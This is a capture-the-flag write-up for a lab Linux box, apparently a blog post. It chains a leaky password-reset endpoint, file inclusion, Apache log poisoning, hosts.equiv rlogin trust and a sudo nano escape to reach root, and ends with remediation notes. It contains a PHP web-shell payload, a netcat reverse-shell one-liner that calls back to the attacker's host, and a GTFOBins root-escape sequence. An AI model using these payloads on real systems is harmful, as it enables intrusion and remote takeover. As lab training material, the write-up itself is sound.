Summary
Reset is a Linux box built around a chain of web application logic flaws and a legacy authentication misconfiguration. Initial access starts with a password reset endpoint that leaks the new admin password directly in its JSON response, granting admin access to a log-viewer dashboard. That dashboard has an unvalidated file-path parameter (LFI), which is chained with Apache access-log poisoning (injecting PHP via the User-Agent header) to achieve remote code execution as www-data. From there, group membership (adm) exposes the user flag. Privilege escalation to a second user (sadm) abuses a hosts.equiv host-based trust misconfiguration exploitable via the legacy rlogin service, requiring no password. Finally, a misconfigured sudo rule permitting nano is escaped via GTFOBins to obtain a root shell and the root flag.
1. Reconnaissance
1.1 Nmap Scan
nmap -A -Pn <MACHINE_IP> -oA nmap
| Port | Service | Version |
|---|---|---|
| 22/tcp | ssh | OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 |
| 80/tcp | http | Apache httpd 2.4.52 (Ubuntu) — "Admin Login" |
| 512/tcp | exec | netkit-rsh rexecd |
| 513/tcp | login | rlogind |
| 514/tcp | shell | Netkit rshd |
The presence of the legacy r-services (rexec, rlogin, rsh on 512–514) is unusual for a modern box and hints that host-based trust authentication (.rhosts / hosts.equiv) will be relevant later.
The PHPSESSID cookie was flagged as missing the httponly flag by http-cookie-flags.
2. Web Enumeration
Browsing to http://<MACHINE_IP>/ presents an Admin Login page (Bootstrap 3.3.7 themed) with a "Forgot Password?" modal that POSTs a username to reset_password.php via AJAX.
<form id="resetPasswordForm">
<input type="text" id="resetUsername" name="username" required>
<button type="submit">Send Reset Email</button>
</form>
$.ajax({
url: 'reset_password.php',
method: 'POST',
data: { username: username },
success: function(data) { ... }
});
3. Vulnerability #1 - Password Reset Information Disclosure
Rather than emailing a reset token, reset_password.php returns the new plaintext password directly in the JSON response:
curl -X POST http://<MACHINE_IP>/reset_password.php \
-d "username=admin" \
-H "Content-Type: application/x-www-form-urlencoded"
Response:
{"username":"admin","new_password":"9ab49143","timestamp":"2026-07-01 04:51:16"}
This is a critical logic flaw - no email/token verification is required, and the endpoint hands the tester the admin credentials outright.
3.1 Authenticating as admin
curl -X POST http://<MACHINE_IP>/index.php \
-d "username=admin&password=9ab49143" \
-c cookies.txt -L
This authenticates successfully and redirects to dashboard.php, confirming "Logged in as: admin".
4. Vulnerability #2 - Local File Inclusion (LFI) in dashboard.php
The Admin Dashboard presents a "Select Log File" dropdown (syslog, auth.log) which is submitted via POST to dashboard.php:
<select name="file">
<option value="/var/log/syslog">syslog</option>
<option value="/var/log/auth.log">auth.log</option>
</select>
The dropdown only offers syslog and auth.log, but the file parameter is not restricted server-side to those values. access.log was chosen to test this because it's Apache's standard, universal request log - present on virtually every Apache install at a predictable path (/var/log/apache2/access.log), and critically, it records request data we control (URL, headers like User-Agent, etc.). That combination - a guessable path and attacker-controlled content - makes it the natural next file to try after confirming basic LFI, since it doubles as the entry point for log poisoning in the next step.
Supplying that path is honored:
curl -s -b cookies.txt -X POST http://<MACHINE_IP>/dashboard.php \
-d "file=/var/log/apache2/access.log"
This successfully returned the contents of /var/log/apache2/access.log, confirming an LFI vulnerability - any file readable by the www-data user can be displayed via the "Log Contents" panel.
5. Vulnerability #3 - Apache Log Poisoning → Remote Code Execution
Since access.log records the User-Agent header verbatim, and the LFI can be pointed at that log file, a classic log poisoning chain applies:
- Send a request with a PHP payload as the
User-Agentheader - Apache writes it intoaccess.logunsanitized. - Use the LFI in
dashboard.phpto include/var/log/apache2/access.log, causing the PHP interpreter to execute the injected payload.
5.1 Proof of Concept
curl -v -b cookies.txt \
-H 'User-Agent: <?php system($_GET["cmd"]); ?>' \
http://<MACHINE_IP>/dashboard.php
Then triggering inclusion of the poisoned log (via the dashboard's log-viewer POST to /var/log/apache2/access.log) executes the injected PHP, confirming command execution.
5.2 Reverse Shell
Step 1 — Poison the log. The payload was upgraded to a full reverse shell, delivered via the User-Agent header. This request's only purpose is to get the payload written into access.log:
curl -b cookies.txt \
-H "User-Agent: <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 4444 >/tmp/f'); ?>" \
http://<MACHINE_IP>/dashboard.php
Step 2 — Start a listener on the attack box, in a separate terminal:
nc -lvnp 4444
Step 3 — Trigger the LFI by POSTing the dashboard's file parameter at the now-poisoned access.log. This is the same LFI request from Section 4, and it's what actually causes Apache to parse and execute the injected PHP:
curl -v -L -b cookies.txt \
-X POST http://<MACHINE_IP>/dashboard.php \
-d "file=/var/log/apache2/access.log"
The system() call fires as the page renders, spawning the reverse shell back to the listener from Step 2:
whoami
www-data
A subsequent Python PTY upgrade stabilized the shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Foothold established as www-data.
6. User Flag
Enumeration from the www-data shell:
www-data@reset:/var/www/html$ ls
dashboard.php index.php private_34eee5d2 reset_password.php
www-data@reset:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)
Membership in the adm group grants read access to log files and, more importantly, to /home/sadm/user.txt:
www-data@reset:/home/sadm$ cat user.txt
[REDACTED]
User flag: [REDACTED]
7. Privilege Escalation Path - www-data → sadm
7.1 Discovering Host-Based Trust
The presence of rexec/rlogin/rsh (ports 512–514) found in the nmap scan pointed toward legacy host-based authentication. Checking /etc/hosts.equiv (world-readable) confirmed it:
www-data@reset:/home/sadm$ cat /etc/hosts.equiv
# /etc/hosts.equiv: list of hosts and users that are granted "trusted" r-command access
- root
- local
+ sadm
The + sadm entry means any remote host can rlogin as the local user sadm without a password, provided the connecting client's username matches (sadm).
7.2 Exploiting the Trust Relationship
On the attacking Kali machine, a local user named sadm was created to match the trusted username, then used to rlogin to the target:
sudo useradd -m sadm
sudo passwd sadm
sudo su - sadm
rlogin -l sadm <MACHINE_IP>
This dropped straight into an authenticated shell as sadm on the target — no password required, purely due to the hosts.equiv trust misconfiguration:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)
sadm@reset:~$ id
uid=1001(sadm) gid=1001(sadm) groups=1001(sadm)
A pre-existing tmux session (sadm_session) was also found running, hinting at prior/automated admin activity:
sadm@reset:~$ tmux ls
sadm_session: 1 windows (created Wed Jul 1 04:40:01 2026)
Attaching to it (tmux a -t sadm_session) revealed a sudo password being typed into a nano session: 7lE2PAfVHfjz4HpE.
8. Privilege Escalation Path - sadm → root (in progress)
8.1 Sudo Enumeration
sadm@reset:~$ sudo -l
Matching Defaults entries for sadm on reset:
env_reset, timestamp_timeout=-1, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty, !syslog
User sadm may run the following commands on reset:
(ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
(ALL) PASSWD: /usr/bin/tail /var/log/syslog
(ALL) PASSWD: /usr/bin/tail /var/log/auth.log
sadm can run nano as root against /etc/firewall.sh, using the recovered password (7lE2PAfVHfjz4HpE).
8.2 GTFOBins — nano Sudo Escape
nano is a listed GTFOBins binary for sudo privilege escalation via its command-execution feature:
sudo /usr/bin/nano /etc/firewall.sh
Inside the editor:
-
Ctrl+R(Insert file), thenCtrl+X(Execute a command) — opens an "Execute Command" prompt. - Enter:
reset; sh 1>&0 2>&0 - Press Enter.
This spawns an interactive root shell in place of nano's file-insert operation. Pressing Enter after typing the command is sufficient - no further keystrokes are needed; sh takes over the terminal directly.
8.3 Confirming Root and Capturing the Flag
# whoami
root
# cd /root
# ls
root_[REDACTED].txt snap
# cat root_[REDACTED].txt
[REDACTED]
Root shell and root flag obtained.
9. Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | Password reset info disclosure | reset_password.php |
Full admin credential leak |
| 2 | Local File Inclusion (LFI) |
dashboard.php (file param) |
Arbitrary file read |
| 3 | Apache log poisoning → RCE |
User-Agent header + LFI |
Remote code execution as www-data
|
| 4 | Host-based trust misconfiguration |
/etc/hosts.equiv (+ sadm) + rlogin |
Passwordless lateral movement to sadm
|
| 5 | Insecure sudo rule (GTFOBins) | sudo nano /etc/firewall.sh |
Privilege escalation to root
|
10. Root Cause / Remediation Notes
- Password reset endpoint should never return the new password to the client — send via email/token only.
-
dashboard.phpfile selection should validate against a strict allow-list server-side, not just in the HTML<select>. - User-controllable headers (
User-Agent, etc.) should never be trusted/logged in a way that allows re-inclusion as executable code; disable PHP execution in log directories. - Remove legacy r-services (
rsh,rlogin,rexec) and/etc/hosts.equiv/.rhoststrust files — these predate modern authentication and are inherently spoofable. - Avoid granting
sudoaccess to editors likenano,vim,less, etc. — these have well-known shell-escape sequences (see GTFOBins).
11. Summary of Attack Chain
-
Info disclosure —
reset_password.phpleaks the new admin password in its JSON response. -
Auth bypass — Used leaked password to log in as
admin. -
LFI —
dashboard.php'sfileparameter is not validated, allowing arbitrary file read. -
Log poisoning RCE — Injected PHP via
User-Agent, executed via LFI onaccess.log. -
Foothold — Reverse shell as
www-data(groupadmgrants log/user.txt read access). -
Lateral movement — Misconfigured
/etc/hosts.equiv(+ sadm) allowed passwordlessrloginassadmfrom an attacker-controlled host. -
Privesc (root) —
sudorule permitsnano /etc/firewall.shas root; GTFOBins escape yields a root shell.
Top comments (0)